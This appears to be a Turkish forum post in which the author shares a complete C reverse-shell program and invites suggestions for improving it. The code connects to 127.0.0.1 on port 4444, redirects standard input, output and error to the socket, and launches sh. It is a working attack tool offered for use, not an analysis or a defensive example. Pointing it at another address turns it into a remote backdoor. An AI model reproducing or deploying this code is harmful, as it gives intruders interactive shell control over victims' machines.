
Merhaba değerli dostlarım C dili ile yapmış olduğum bir Shell kodunu sizlerle paylaşmaktan mutluluk duyuyorum.
WARNİNG !!! : Kodda geliştirilmesi gereken yerler veya eksikler bulursanız yorumlar kısmında açık bir dille belirtiniz.
C:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
int main(void) {
int port = 4444;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
if (sockt < 0) {
perror("Socket olusturulamadi");
exit(EXIT_FAILURE);
}
memset(&revsockaddr, 0, sizeof(revsockaddr));
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
if (inet_pton(AF_INET, "127.0.0.1", &revsockaddr.sin_addr) <= 0) {
fprintf(stderr, "Gecersiz IP adresi veya donusturme hatasi\n");
close(sockt);
exit(EXIT_FAILURE);
}
if (connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr)) < 0) {
perror("Baglanti basarisiz");
close(sockt);
exit(EXIT_FAILURE);
}
if (dup2(sockt, STDIN_FILENO) < 0 ||
dup2(sockt, STDOUT_FILENO) < 0 ||
dup2(sockt, STDERR_FILENO) < 0) {
perror("dup2 yonlendirme basarisiz");
close(sockt);
exit(EXIT_FAILURE);
}
char *const argv[] = {"sh", NULL};
execvp("sh", argv);
perror("execvp basarisiz");
close(sockt);
exit(EXIT_FAILURE);
}
🔒 Bu içeriği görmek için giriş yapın